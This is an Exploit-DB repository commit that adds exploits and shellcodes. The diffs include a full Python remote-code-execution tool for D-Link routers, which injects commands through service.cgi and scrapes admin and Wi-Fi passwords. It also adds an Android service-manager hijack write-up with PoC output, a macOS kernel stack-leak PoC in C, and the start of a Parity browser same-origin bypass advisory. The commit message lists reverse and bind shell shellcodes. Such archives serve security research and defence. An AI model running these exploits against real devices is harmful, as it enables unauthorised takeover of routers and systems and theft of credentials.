DB: 2018-01-12
31 changes to exploits/shellcodes MiniUPnP MiniUPnPc < 2.0 - Remote Denial of Service Android - Hardware Service Manager Arbitrary Service Replacement due to getpidcon Microsoft Windows - NTFS Owner/Mandatory Label Privilege Bypass Microsoft Windows - NtImpersonateAnonymousToken AC to Non-AC Privilege Escalation Microsoft Windows - NtImpersonateAnonymousToken LPAC to Non-LPAC Privilege Escalation Microsoft Windows SMB Server (v1/v2) - Mount Point Arbitrary Device Open Privilege Escalation macOS - 'process_policy' Stack Leak Through Uninitialized Field Microsoft Edge Chakra - 'AppendLeftOverItemsFromEndSegment' Out-of-Bounds Read Jungo Windriver 12.5.1 - Privilege Escalation Jungo Windriver 12.5.1 - Local Privilege Escalation Parity Browser < 1.6.10 - Bypass Same Origin Policy Python smtplib 2.7.11 / 3.4.4 / 3.5.1 - Man In The Middle StartTLS Stripping VideoCharge Studio 2.12.3.685 - 'GetHttpResponse()' MITM Remote Code Execution VideoCharge Studio 2.12.3.685 - 'GetHttpResponse()' Man In The Middle Remote Code Execution Granding MA300 - Traffic Sniffing MitM Fingerprint PIN Disclosure Granding MA300 - Traffic Sniffing Man In The Middle Fingerprint PIN Disclosure LabF nfsAxe 3.7 FTP Client - Stack Buffer Overflow (Metasploit) phpCollab 2.5.1 - Unauthenticated File Upload (Metasploit) eVestigator Forensic PenTester - MITM Remote Code Execution eVestigator Forensic PenTester - Man In The Middle Remote Code Execution BestSafe Browser - MITM Remote Code Execution BestSafe Browser - Man In The Middle Remote Code Execution SKILLS.com.au Industry App - MITM Remote Code Execution Virtual Postage (VPA) - MITM Remote Code Execution SKILLS.com.au Industry App - Man In The Middle Remote Code Execution Virtual Postage (VPA) - Man In The Middle Remote Code Execution Trend Micro OfficeScan 11.0/XG (12.0) - MITM Remote Code Execution Trend Micro OfficeScan 11.0/XG (12.0) - Man In The Middle Remote Code Execution SAP NetWeaver J2EE Engine 7.40 - SQL Injection D-Link Routers 110/412/615/815 < 1.03 - 'service.cgi' Arbitrary Code Execution FreeBSD/x86 - Reverse TCP Shell (192.168.1.69:6969/TCP) Shellcode (129 bytes) BSD/x86 - Reverse TCP Shell (192.168.2.33:6969/TCP) Shellcode (129 bytes) FreeBSD/x86 - Bind TCP Password Shell (4883/TCP) Shellcode (222 bytes) FreeBSD/x86 - Bind TCP Password /bin/sh Shell (4883/TCP) Shellcode (222 bytes) Cisco IOS - New TTY / Privilege Level To 15 / Reverse Virtual Terminal Shell (21/TCP) Shellcode Cisco IOS/PowerPC - New VTY + Password (1rmp455) Shellcode (116 bytes) Cisco IOS - New TTY / Privilege Level To 15 / No Password Shellcode HPUX - execve /bin/sh Shellcode (58 bytes) Cisco IOS - New TTY + Privilege Level To 15 + Reverse Virtual Terminal Shell (21/TCP) Shellcode Cisco IOS/PowerPC - New VTY + Password (1rmp455) Shellcode (116 bytes) Cisco IOS - New TTY + Privilege Level To 15 + No Password Shellcode HP-UX - execve /bin/sh Shellcode (58 bytes) OpenBSD/x86 - execve /bin/sh Shellcode (23 Bytes) OpenBSD/x86 - execve /bin/sh Shellcode (23 bytes) ARM - Bind TCP Shell (0x1337/TCP) Shellcode ARM - Bind TCP Listener (68/UDP) + Reverse TCP Shell (192.168.0.1:67/TCP) Shellcode ARM - Bind TCP Listener (0x1337/TCP) + Receive Shellcode + Payload Loader Shellcode ARM - ifconfig eth0 192.168.0.2 up Shellcode Linux/ARM - Bind TCP Shell (0x1337/TCP) Shellcode Linux/ARM - Bind TCP Listener (68/UDP) + Reverse TCP Shell (192.168.0.1:67/TCP) Shellcode Linux/ARM - Bind TCP Listener (0x1337/TCP) + Receive Shellcode + Payload Loader Shellcode Linux/ARM - ifconfig eth0 192.168.0.2 up Shellcode FreeBSD/x86 - Bind TCP Shell (31337/TCP) + Fork Shellcode (111 bytes) FreeBSD/x86 - Bind TCP /bin/sh Shell (31337/TCP) + Fork Shellcode (111 bytes) Windows x86 - Reverse TCP Shell (192.168.232.129:4444/TCP) + Persistent Access Shellcode (494 Bytes) Windows x86 - Reverse TCP Shell (192.168.232.129:4444/TCP) + Persistent Access Shellcode (494 bytes) Windows 7 x86 - Bind TCP Shell (4444/TCP) Shellcode (357 Bytes) Windows 7 x86 - Bind TCP Shell (4444/TCP) Shellcode (357 bytes) Windows x86 - Reverse TCP Staged Alphanumeric Shell (127.0.0.1:4444/TCP) Shellcode (332 Bytes) Windows x86 - Reverse TCP Staged Alphanumeric Shell (127.0.0.1:4444/TCP) Shellcode (332 bytes) Linux/x86 - exceve /bin/sh Encoded Shellcode (44 Bytes) Linux/ARM (Raspberry Pi) - Bind TCP /bin/sh Shell (0.0.0.0:4444/TCP) Null-Free Shellcode (112 bytes) FreeBSD/x86-64 - execve /bin/sh Shellcode (28 bytes) FreeBSD/x86-64 - Bind TCP Password (R2CBw0cr) /bin/sh Shell Shellcode (127 bytes) FreeBSD/x86 - execv(/bin/sh) Shellcode (23 bytes) FreeBSD/x86 - //sbin/pfctl -F all Shellcode (47 bytes) FreeBSD/x86 - Bind TCP /bin/sh Shell (41254/TCP) Shellcode (115 bytes) FreeBSD - reboot() Shellcode (15 Bytes) IRIX - execve(/bin/sh -c) Shellcode (72 bytes) IRIX - execve(/bin/sh) Shellcode (43 bytes) IRIX - Bind TCP /bin/sh Shell Shellcode (364 bytes) IRIX - execve(/bin/sh) Shellcode (68 bytes) IRIX - stdin-read Shellcode (40 bytes) Linux/ARM - execve(_/bin/sh__ NULL_ 0) Shellcode (34 bytes) Linux/x86 - exceve /bin/sh Encoded Shellcode (44 bytes) Linux/x86 - Read /etc/passwd Shellcode (54 Bytes) Linux/x86 - Read /etc/passwd Shellcode (54 bytes) Linux/x86-64 - execve /bin/sh Shellcode (21 Bytes) Linux/x86-64 - execve /bin/sh Shellcode (21 bytes)
This commit is contained in:
Offensive Security
parent
a7ddd8282b
commit
81d6f781ab
31 changed files with 5393 additions and 27 deletions
95
exploits/android/dos/43513.txt
Normal file
95
exploits/android/dos/43513.txt
Normal file
|
|
@ -0,0 +1,95 @@
|
||||||
|
This bug is similar to Jann Horn's issue (https://bugs.chromium.org/p/project-zero/issues/detail?id=851) -- credit should go to him.
|
||||||
|
|
||||||
|
The hardware service manager allows the registration of HAL services. These services are used by the vendor domain and other core processes, including system_server, surfaceflinger and hwservicemanager.
|
||||||
|
|
||||||
|
Similarly to the "regular" service manager ("servicemanager"), the hardware service manager is the context manager node for the "hwbinder" device, allowing it to mediate access to all hardware services registered under it. This is done by allowing its users to list, access or insert services into its registry, identified by a unique full-qualified name and an instance name (see http://androidxref.com/8.0.0_r4/xref/system/libhidl/transport/manager/1.0/IServiceManager.hal).
|
||||||
|
|
||||||
|
The "add" binder call allows callers to supply a binder instance to be registered with the hardware service manager. When issued, the call is unpacked by the auto-generated hidl stub, and then passed to "ServiceManager::add" for processing. Here is a snippet from that function (http://androidxref.com/8.0.0_r4/xref/system/hwservicemanager/ServiceManager.cpp#172):
|
||||||
|
|
||||||
|
1. Return<bool> ServiceManager::add(const hidl_string& name, const sp<IBase>& service) {
|
||||||
|
2. ...
|
||||||
|
3. // TODO(b/34235311): use HIDL way to determine this
|
||||||
|
4. // also, this assumes that the PID that is registering is the pid that is the service
|
||||||
|
5. pid_t pid = IPCThreadState::self()->getCallingPid();
|
||||||
|
6.
|
||||||
|
7. auto ret = service->interfaceChain([&](const auto &interfaceChain) {
|
||||||
|
8. if (interfaceChain.size() == 0) {
|
||||||
|
9. return;
|
||||||
|
10. }
|
||||||
|
11.
|
||||||
|
12. // First, verify you're allowed to add() the whole interface hierarchy
|
||||||
|
13. for(size_t i = 0; i < interfaceChain.size(); i++) {
|
||||||
|
14. std::string fqName = interfaceChain[i];
|
||||||
|
15. if (!mAcl.canAdd(fqName, pid)) {
|
||||||
|
16. return;
|
||||||
|
17. }
|
||||||
|
18. }
|
||||||
|
19. ...
|
||||||
|
20.}
|
||||||
|
|
||||||
|
As we can see in the snippet above, the function first records the pid of the calling process (populated into the transaction by the binder driver). Then, it issues a (non-oneway) transaction to the given service binder, in order to retrieve the list of interfaces corresponding to the given instance. As the comment correctly notes (lines 3-4), this approach is incorrect, for two reasons:
|
||||||
|
|
||||||
|
1. The given service can be hosted in a different process to the one making the binder call
|
||||||
|
2. Recording the pid does not guarantee that the calling process cannot transition from zombie to dead, allowing other processes to take its place
|
||||||
|
|
||||||
|
The pid is later used by the AccessControl class in order to perform the access control check, using getpidcon (http://androidxref.com/8.0.0_r4/xref/system/hwservicemanager/AccessControl.cpp#63). Consequently, an attack similar to the one proposed by Jann in the original bug is possible - namely, creating a race condition where the issuing process transitions to dead state, and a new privileged tid to be created in its place, causing the access control checks to be bypassed (by using the privileged process's SELinux context).
|
||||||
|
|
||||||
|
Furthermore, this code would have been susceptible to another vulnerability, by James Forshaw (https://bugs.chromium.org/p/project-zero/issues/detail?id=727) - namely, the caller can issue a "oneway" binder transaction in the "add" call, causing the calling pid field recorded by the driver to be zero. In such a case, getpidcon(0) is called, which would have returned the current process's context (the hardware service manager can register several critical services, including the "HIDL manager" and the "Token Manager"). However, this behaviour has since been changed in upstream libselinux (https://patchwork.kernel.org/patch/8395851/), making getpidcon(0) calls invalid, and therefore avoiding this issue.
|
||||||
|
|
||||||
|
However, an alternate exploit flow exists, which allows the issue to be exploited deterministically with no race condition required. Since the code above issues a non-oneway binder transaction on the given binder object, this allows the following attack flow to occur:
|
||||||
|
|
||||||
|
1. Process A creates a hardware binder service
|
||||||
|
2. Process A forks to create process B
|
||||||
|
3. Process B receives binder object from process A
|
||||||
|
4. Process B registers the binder object with the hardware service manager, by calling the "add" binder call
|
||||||
|
5. Hardware service manager executes "ServiceManager::add", records process B's pid, calls the (non-oneway) "interfaceChain" binder call on the given binder
|
||||||
|
6. Process A receives the "interfaceChain" binder call
|
||||||
|
7. Process A kills process B
|
||||||
|
8. Process A forks and kills the child processes, until reaching the pid before process B's pid
|
||||||
|
9. Process A calls the "loadSoundEffects" binder call on the "audio" service, spawning a new long-lived thread in system_server ("SoundPoolThread")
|
||||||
|
10. The new thread occupies process B's pid
|
||||||
|
11. Process A completes the "interfaceChain" transaction
|
||||||
|
12. Hardware service manager uses system_server's context to perform the ACL check
|
||||||
|
|
||||||
|
This attack flow allows a caller to replace any service published by system_server, including "IBase", "ISchedulingPolicyService" and "ISensorManager", or register any other services of behalf of system_server.
|
||||||
|
|
||||||
|
Note that in order to pass the binder instance between process A and process B, the "Token Manager" service can be used. This service allows callers to insert binder objects and retrieve 20-byte opaque tokens representing them. Subsequently, callers can supply the same 20-byte token, and retrieve the previously inserted binder object from the service. The service is accessible even to (non-isolated) app contexts (http://androidxref.com/8.0.0_r4/xref/system/sepolicy/private/app.te#188).
|
||||||
|
|
||||||
|
I'm attaching a PoC which performs the aforementioned attack flow, resulting in the "IBase" service (default instance) being hijacked. Running the PoC should result in the following output:
|
||||||
|
|
||||||
|
pid=23701
|
||||||
|
service manager: 0x7d0b44b000
|
||||||
|
token manager: 0x7d0b44b140
|
||||||
|
TOKEN: 0502010000000000B78268179E69C3B0EB6AEBFF60D82B42732F0FF853E8773379A005493648BCF1
|
||||||
|
05 02 01 00 00 00 00 00 B7 82 68 17 9E 69 C3 B0 EB 6A EB FF 60 D8 2B 42 73 2F 0F F8 53 E8 77 33 79 A0 05 49 36 48 BC F1
|
||||||
|
pid=23702
|
||||||
|
service manager: 0x72e544e000
|
||||||
|
token manager: 0x72e544e0a0
|
||||||
|
token manager returned binder: 0x72e544e140
|
||||||
|
Registering service...
|
||||||
|
interfaceChain called!
|
||||||
|
load: 0
|
||||||
|
Killing the child PID: 0
|
||||||
|
waitpid: 23702
|
||||||
|
Cycling to pid
|
||||||
|
unload: 0
|
||||||
|
load: 0
|
||||||
|
|
||||||
|
After running the PoC, the IBase service will be replaced with our own malicious service. This can be seen be running "lshal":
|
||||||
|
|
||||||
|
All binderized services (registered services through hwservicemanager)
|
||||||
|
Interface Server Clients
|
||||||
|
...
|
||||||
|
android.hidl.base@1.0::IBase/default 23701 (<-our pid) 463
|
||||||
|
|
||||||
|
Note that this attack can also be launched from an application context (with no required permissions), as apps can access both the "hwbinder" (http://androidxref.com/8.0.0_r4/xref/system/sepolicy/private/app.te#186) and the token service (http://androidxref.com/8.0.0_r4/xref/system/sepolicy/private/app.te#188).
|
||||||
|
|
||||||
|
The attached PoC should be built as part of the Android source tree, by extracting the source files into "frameworks/native/cmds/hwservice", and running a build (e.g., "mmm hwservice"). The resulting binary ("hwservice") contains the PoC code.
|
||||||
|
|
||||||
|
It should be noted that the hardware service manager uses the PID in all other calls ("get", "getTransport", "list", "listByInterface", "registerForNotifications", "debugDump", "registerPassthroughClient") as well.
|
||||||
|
|
||||||
|
These commands are all similarly racy (due to the getpidcon(...) usage), but are harder to exploit, as no binder call takes place prior to the ACL check.
|
||||||
|
|
||||||
|
|
||||||
|
Proof of Concept:
|
||||||
|
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/bin-sploits/43513.zip
|
||||||
233
exploits/hardware/webapps/43496.py
Executable file
233
exploits/hardware/webapps/43496.py
Executable file
|
|
@ -0,0 +1,233 @@
|
||||||
|
#!/usr/bin/python
|
||||||
|
|
||||||
|
# Exploit Title: D-Link WAP 615/645/815 < 1.03 service.cgi RCE
|
||||||
|
# Exploit Author: Cr0n1c
|
||||||
|
# Vendor Homepage: us.dlink.com
|
||||||
|
# Software Link: https://github.com/Cr0n1c/dlink_shell_poc/blob/master/dlink_auth_rce
|
||||||
|
# Version: 1.03
|
||||||
|
# Tested on: D-Link 815 v1.03
|
||||||
|
|
||||||
|
import argparse
|
||||||
|
import httplib
|
||||||
|
import random
|
||||||
|
import re
|
||||||
|
import requests
|
||||||
|
import string
|
||||||
|
import urllib2
|
||||||
|
|
||||||
|
DLINK_REGEX = ['Product Page : <a href="http://support.dlink.com" target="_blank">(.*?)<',
|
||||||
|
'<div class="modelname">(.*?)</div>',
|
||||||
|
'<div class="pp">Product Page : (.*?)<a href="javascript:check_is_modified">'
|
||||||
|
]
|
||||||
|
|
||||||
|
|
||||||
|
def dlink_detection():
|
||||||
|
try:
|
||||||
|
r = requests.get(URL, timeout=10.00)
|
||||||
|
except requests.exceptions.ConnectionError:
|
||||||
|
print "Error: Failed to connect to " + URL
|
||||||
|
return False
|
||||||
|
|
||||||
|
if r.status_code != 200:
|
||||||
|
print "Error: " + URL + " returned status code " + str(r.status_code)
|
||||||
|
return False
|
||||||
|
|
||||||
|
for rex in DLINK_REGEX:
|
||||||
|
if re.search(rex, r.text):
|
||||||
|
res = re.findall(rex, r.text)[0]
|
||||||
|
return res
|
||||||
|
|
||||||
|
print "Warning: Unable to detect device for " + URL
|
||||||
|
return "Unknown Device"
|
||||||
|
|
||||||
|
|
||||||
|
def create_session():
|
||||||
|
post_content = {"REPORT_METHOD": "xml",
|
||||||
|
"ACTION": "login_plaintext",
|
||||||
|
"USER": "admin",
|
||||||
|
"PASSWD": PASSWORD,
|
||||||
|
"CAPTCHA": ""
|
||||||
|
}
|
||||||
|
|
||||||
|
try:
|
||||||
|
r = requests.post(URL + "/session.cgi", data=post_content, headers=HEADER)
|
||||||
|
except requests.exceptions.ConnectionError:
|
||||||
|
print "Error: Failed to access " + URL + "/session.cgi"
|
||||||
|
return False
|
||||||
|
|
||||||
|
if not (r.status_code == 200 and r.reason == "OK"):
|
||||||
|
print "Error: Did not recieve a HTTP 200"
|
||||||
|
return False
|
||||||
|
|
||||||
|
if not re.search("<RESULT>SUCCESS</RESULT>", r.text):
|
||||||
|
print "Error: Did not get a success code"
|
||||||
|
return False
|
||||||
|
|
||||||
|
return True
|
||||||
|
|
||||||
|
|
||||||
|
def parse_results(result):
|
||||||
|
print result[100:]
|
||||||
|
return result
|
||||||
|
|
||||||
|
|
||||||
|
def send_post(command, print_res=True):
|
||||||
|
post_content = "EVENT=CHECKFW%26" + command + "%26"
|
||||||
|
|
||||||
|
method = "POST"
|
||||||
|
|
||||||
|
if URL.lower().startswith("https"):
|
||||||
|
handler = urllib2.HTTPSHandler()
|
||||||
|
else:
|
||||||
|
handler = urllib2.HTTPHandler()
|
||||||
|
|
||||||
|
opener = urllib2.build_opener(handler)
|
||||||
|
request = urllib2.Request(URL + "/service.cgi", data=post_content, headers=HEADER)
|
||||||
|
request.get_method = lambda: method
|
||||||
|
|
||||||
|
try:
|
||||||
|
connection = opener.open(request)
|
||||||
|
except urllib2.HTTPError:
|
||||||
|
print "Error: failed to connect to " + URL + "/service.cgi"
|
||||||
|
return False
|
||||||
|
except urllib2.HTTPSError:
|
||||||
|
print "Error: failed to connect to " + URL + "/service.cgi"
|
||||||
|
return False
|
||||||
|
|
||||||
|
if not connection.code == 200:
|
||||||
|
print "Error: Recieved status code " + str(connection.code)
|
||||||
|
return False
|
||||||
|
|
||||||
|
attempts = 0
|
||||||
|
|
||||||
|
while attempts < 5:
|
||||||
|
try:
|
||||||
|
data = connection.read()
|
||||||
|
except httplib.IncompleteRead:
|
||||||
|
attempts += 1
|
||||||
|
else:
|
||||||
|
break
|
||||||
|
|
||||||
|
if attempts == 5:
|
||||||
|
print "Error: Chunking failed %d times, bailing." %attempts
|
||||||
|
return False
|
||||||
|
|
||||||
|
if print_res:
|
||||||
|
return parse_results(data)
|
||||||
|
else:
|
||||||
|
return data
|
||||||
|
|
||||||
|
|
||||||
|
def start_shell():
|
||||||
|
print "+" + "-" * 80 + "+"
|
||||||
|
print "| Welcome to D-Link Shell" + (" " * 56) + "|"
|
||||||
|
print "+" + "-" * 80 + "+"
|
||||||
|
print "| This is a limited shell that exploits piss poor programming. I created this |"
|
||||||
|
print "| to give you a comfort zone and to emulate a real shell environment. You will |"
|
||||||
|
print "| be limited to basic busybox commands. Good luck and happy hunting. |"
|
||||||
|
print "|" + (" " * 80) + "|"
|
||||||
|
print "| To quit type 'gtfo'" + (" " * 60) + "|"
|
||||||
|
print "+" + "-" * 80 + "+\n\n"
|
||||||
|
|
||||||
|
cmd = ""
|
||||||
|
|
||||||
|
while True:
|
||||||
|
cmd = raw_input(ROUTER_TYPE + "# ").strip()
|
||||||
|
if cmd.lower() == "gtfo":
|
||||||
|
break
|
||||||
|
|
||||||
|
send_post(cmd)
|
||||||
|
|
||||||
|
|
||||||
|
def query_getcfg(param):
|
||||||
|
post_data = {"SERVICES": param}
|
||||||
|
try:
|
||||||
|
r = requests.post(URL + "/getcfg.php", data=post_data, headers=HEADER)
|
||||||
|
except requests.exceptions.ConnectionError:
|
||||||
|
print "Error: Failed to access " + URL + "/getcfg.php"
|
||||||
|
return False
|
||||||
|
|
||||||
|
if not (r.status_code == 200 and r.reason == "OK"):
|
||||||
|
print "Error: Did not recieve a HTTP 200"
|
||||||
|
return False
|
||||||
|
|
||||||
|
if re.search("<message>Not authorized</message>", r.text):
|
||||||
|
print "Error: Not vulnerable"
|
||||||
|
return False
|
||||||
|
|
||||||
|
return r.text
|
||||||
|
|
||||||
|
|
||||||
|
def attempt_password_find():
|
||||||
|
# Going fishing in DEVICE.ACCOUNT looking for CWE-200 or no password
|
||||||
|
data = query_getcfg("DEVICE.ACCOUNT")
|
||||||
|
if not data:
|
||||||
|
return False
|
||||||
|
|
||||||
|
res = re.findall("<password>(.*?)</password>", data)
|
||||||
|
if len(res) > 0 and res != "=OoXxGgYy=":
|
||||||
|
return res[0]
|
||||||
|
|
||||||
|
# Did not find it in first attempt
|
||||||
|
data = query_getcfg("WIFI")
|
||||||
|
if not data:
|
||||||
|
return False
|
||||||
|
|
||||||
|
res = re.findall("<key>(.*?)</key>", data)
|
||||||
|
if len(res) > 0:
|
||||||
|
return res[0]
|
||||||
|
|
||||||
|
# All attempts failed, just going to return and wish best of luck!
|
||||||
|
return False
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
parser = argparse.ArgumentParser(description="D-Link 615/815 Service.cgi RCE")
|
||||||
|
|
||||||
|
parser.add_argument("-p", "--password", dest="password", action="store", default=None,
|
||||||
|
help="Password for the router. If not supplied then will use blank password.")
|
||||||
|
parser.add_argument("-u", "--url", dest="url", action="store", required=True,
|
||||||
|
help="[Required] URL for router (i.e. http://10.1.1.1:8080)")
|
||||||
|
parser.add_argument("-x", "--attempt-exploit", dest="attempt_exploit", action="store_true", default=False,
|
||||||
|
help="If flag is set, will attempt CWE-200. If that fails, then will attempt to discover "
|
||||||
|
"wifi password and use it.")
|
||||||
|
|
||||||
|
args = parser.parse_args()
|
||||||
|
|
||||||
|
HEADER = {"Cookie": "uid=" + "".join(random.choice(string.letters) for _ in range(10)),
|
||||||
|
"Host": "localhost",
|
||||||
|
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8"
|
||||||
|
}
|
||||||
|
|
||||||
|
URL = args.url.lower().strip()
|
||||||
|
|
||||||
|
if not URL.startswith("http"):
|
||||||
|
URL = "http://" + URL
|
||||||
|
|
||||||
|
ROUTER_TYPE = dlink_detection()
|
||||||
|
|
||||||
|
if not ROUTER_TYPE:
|
||||||
|
print "EXITING . . ."
|
||||||
|
exit()
|
||||||
|
|
||||||
|
if args.attempt_exploit and args.password is None:
|
||||||
|
res = attempt_password_find()
|
||||||
|
if res:
|
||||||
|
PASSWORD = res
|
||||||
|
else:
|
||||||
|
PASSWORD = ""
|
||||||
|
print "[+] Switching password to: " + PASSWORD
|
||||||
|
elif args.password:
|
||||||
|
PASSWORD = args.password
|
||||||
|
else:
|
||||||
|
PASSWORD = ""
|
||||||
|
|
||||||
|
if not create_session():
|
||||||
|
print "EXITING . . ."
|
||||||
|
exit()
|
||||||
|
|
||||||
|
if len(send_post("ls", False)) == 0:
|
||||||
|
print "Appears this device [%s] is not vulnerable. EXITING . . ." %ROUTER_TYPE
|
||||||
|
exit()
|
||||||
|
|
||||||
|
start_shell()
|
||||||
84
exploits/macos/dos/43521.c
Normal file
84
exploits/macos/dos/43521.c
Normal file
|
|
@ -0,0 +1,84 @@
|
||||||
|
/*
|
||||||
|
The syscall
|
||||||
|
process_policy(scope=PROC_POLICY_SCOPE_PROCESS, action=PROC_POLICY_ACTION_GET, policy=PROC_POLICY_RESOURCE_USAGE, policy_subtype=PROC_POLICY_RUSAGE_CPU, attrp=<userbuf>, target_pid=0, target_threadid=<ignored>)
|
||||||
|
causes 4 bytes of uninitialized kernel stack memory to be written to userspace.
|
||||||
|
|
||||||
|
The call graph looks as follows:
|
||||||
|
|
||||||
|
process_policy
|
||||||
|
handle_cpuuse
|
||||||
|
proc_get_task_ruse_cpu
|
||||||
|
task_get_cpuusage
|
||||||
|
[writes scope=1/2/4/0]
|
||||||
|
[always returns zero]
|
||||||
|
[writes policyp if scope!=0]
|
||||||
|
[always returns zero]
|
||||||
|
copyout
|
||||||
|
|
||||||
|
|
||||||
|
If task_get_cpuusage() set `*scope=0` because none of the flags
|
||||||
|
TASK_RUSECPU_FLAGS_PERTHR_LIMIT, TASK_RUSECPU_FLAGS_PROC_LIMIT and TASK_RUSECPU_FLAGS_DEADLINE are set in task->rusage_cpu_flags,
|
||||||
|
proc_get_task_ruse_cpu() does not write anything into `*policyp`, meaning that `cpuattr.ppattr_cpu_attr` in
|
||||||
|
handle_cpuuse() remains uninitialized. task_get_cpuusage() and proc_get_task_ruse_cpu() always return zero,
|
||||||
|
so handle_cpuuse() will copy `cpuattr`, including the unititialized `ppattr_cpu_attr` field, to userspace.
|
||||||
|
|
||||||
|
|
||||||
|
Tested on a Macmini7,1 running macOS 10.13 (17A405), Darwin 17.0.0:
|
||||||
|
|
||||||
|
$ cat test.c
|
||||||
|
*/
|
||||||
|
|
||||||
|
#include <stdint.h>
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <inttypes.h>
|
||||||
|
|
||||||
|
struct proc_policy_cpuusage_attr {
|
||||||
|
uint32_t ppattr_cpu_attr;
|
||||||
|
uint32_t ppattr_cpu_percentage;
|
||||||
|
uint64_t ppattr_cpu_attr_interval;
|
||||||
|
uint64_t ppattr_cpu_attr_deadline;
|
||||||
|
};
|
||||||
|
|
||||||
|
void run(void) {
|
||||||
|
int retval;
|
||||||
|
struct proc_policy_cpuusage_attr attrs = {0,0,0,0};
|
||||||
|
asm volatile(
|
||||||
|
"mov $0x02000143, %%rax\n\t" // process_policy
|
||||||
|
"mov $1, %%rdi\n\t" // PROC_POLICY_SCOPE_PROCESS
|
||||||
|
"mov $11, %%rsi\n\t" // PROC_POLICY_ACTION_GET
|
||||||
|
"mov $4, %%rdx\n\t" // PROC_POLICY_RESOURCE_USAGE
|
||||||
|
"mov $3, %%r10\n\t" // PROC_POLICY_RUSAGE_CPU
|
||||||
|
"mov %[userptr], %%r8\n\t"
|
||||||
|
"mov $0, %%r9\n\t" // PID 0 (self)
|
||||||
|
// target_threadid is unused
|
||||||
|
"syscall\n\t"
|
||||||
|
: //out
|
||||||
|
"=a"(retval)
|
||||||
|
: //in
|
||||||
|
[userptr] "r"(&attrs)
|
||||||
|
: //clobber
|
||||||
|
"cc", "memory", "rdi", "rsi", "rdx", "r10", "r8", "r9"
|
||||||
|
);
|
||||||
|
printf("retval = %d\n", retval);
|
||||||
|
printf("ppattr_cpu_attr = 0x%"PRIx32"\n", attrs.ppattr_cpu_attr);
|
||||||
|
printf("ppattr_cpu_percentage = 0x%"PRIx32"\n", attrs.ppattr_cpu_percentage);
|
||||||
|
printf("ppattr_cpu_attr_interval = 0x%"PRIx64"\n", attrs.ppattr_cpu_attr_interval);
|
||||||
|
printf("ppattr_cpu_attr_deadline = 0x%"PRIx64"\n", attrs.ppattr_cpu_attr_deadline);
|
||||||
|
}
|
||||||
|
|
||||||
|
int main(void) {
|
||||||
|
run();
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
/*
|
||||||
|
$ gcc -Wall -o test test.c
|
||||||
|
$ ./test
|
||||||
|
retval = 0
|
||||||
|
ppattr_cpu_attr = 0x1a180ccb
|
||||||
|
ppattr_cpu_percentage = 0x0
|
||||||
|
ppattr_cpu_attr_interval = 0x0
|
||||||
|
ppattr_cpu_attr_deadline = 0x0
|
||||||
|
|
||||||
|
That looks like the lower half of a pointer or so.
|
||||||
|
*/
|
||||||
|
|
@ -1,3 +1,5 @@
|
||||||
|
#!/usr/bin/env python
|
||||||
|
|
||||||
# Exploit Title: PoC for BIND9 TKEY DoS
|
# Exploit Title: PoC for BIND9 TKEY DoS
|
||||||
# Exploit Author: elceef
|
# Exploit Author: elceef
|
||||||
# Software Link: https://github.com/elceef/tkeypoc/
|
# Software Link: https://github.com/elceef/tkeypoc/
|
||||||
|
|
@ -5,7 +7,6 @@
|
||||||
# Tested on: multiple
|
# Tested on: multiple
|
||||||
# CVE : CVE-2015-5477
|
# CVE : CVE-2015-5477
|
||||||
|
|
||||||
#!/usr/bin/env python
|
|
||||||
|
|
||||||
import socket
|
import socket
|
||||||
import sys
|
import sys
|
||||||
|
|
|
||||||
1137
exploits/multiple/dos/43501.txt
Normal file
1137
exploits/multiple/dos/43501.txt
Normal file
File diff suppressed because one or more lines are too long
669
exploits/multiple/local/43499.txt
Normal file
669
exploits/multiple/local/43499.txt
Normal file
|
|
@ -0,0 +1,669 @@
|
||||||
|
VuNote
|
||||||
|
======
|
||||||
|
|
||||||
|
Author: <github.com/tintinweb>
|
||||||
|
Ref: https://github.com/tintinweb/pub/tree/master/pocs/cve-2017-18016
|
||||||
|
Version: 0.3
|
||||||
|
Date: Jun 16th, 2017
|
||||||
|
|
||||||
|
Tag: parity same origin policy bypass webproxy token reuse
|
||||||
|
|
||||||
|
Overview
|
||||||
|
--------
|
||||||
|
|
||||||
|
Name: parity
|
||||||
|
Vendor: paritytech
|
||||||
|
References: * https://parity.io/ [1]
|
||||||
|
|
||||||
|
Version: 1.6.8
|
||||||
|
Latest Version: 1.7.12 (stable) - fixed
|
||||||
|
1.8.5 (beta) - fixed
|
||||||
|
Other Versions: <= 1.6.10 (stable) - vulnerable
|
||||||
|
Platform(s): cross
|
||||||
|
Technology: rust js
|
||||||
|
|
||||||
|
Vuln Classes: CWE-346
|
||||||
|
Origin: local (remote website, malicious dapp)
|
||||||
|
Min. Privs.: ---
|
||||||
|
|
||||||
|
CVE: CVE-2017-18016
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
Description
|
||||||
|
---------
|
||||||
|
|
||||||
|
quote website [1]
|
||||||
|
|
||||||
|
>Parity Technologies is proud to present our powerful new Parity Browser. Integrated directly into your Web browser, Parity is the fastest and most secure way of interacting with the Ethereum network.
|
||||||
|
|
||||||
|
Summary
|
||||||
|
-------
|
||||||
|
|
||||||
|
PoC: https://tintinweb.github.io/pub/pocs/cve-2017-18016/ [4]
|
||||||
|
|
||||||
|
> Parity Browser <=1.6.8 allows remote attackers to bypass the Same Origin Policy and obtain sensitive information by requesting other websites via the Parity web proxy engine (reusing the current website's token, which is not bound to an origin).
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
**(A)** Ethereum Parity's built-in dapp/web-browsing functionality is
|
||||||
|
rendering browser same-origin policy (SOP) ineffective by proxying
|
||||||
|
requests with the parity main process. As a result, any website
|
||||||
|
navigated to ends up being origin http://localhost:8080. This also means
|
||||||
|
that all websites navigated to share the same origin and thus are not
|
||||||
|
protected by the browser SOP allowing any proxied website/dapp to access
|
||||||
|
another proxied website/dapp's resources (Cookies, ...).
|
||||||
|
|
||||||
|
//see attached PoC - index.html / PoC
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
**(B)** Worse, due to the structure of proxy cache urls and the fact that they
|
||||||
|
contain a reusable non-secret non-url specific cache-token it is
|
||||||
|
possible for one proxied website/dapp to navigate to any other proxied
|
||||||
|
website/dapp gaining full script/XHR control due to **(A)** the SOP being
|
||||||
|
applied without any restrictions. This could allow a malicious
|
||||||
|
website/dapp to take control of another website/dapp, performing user
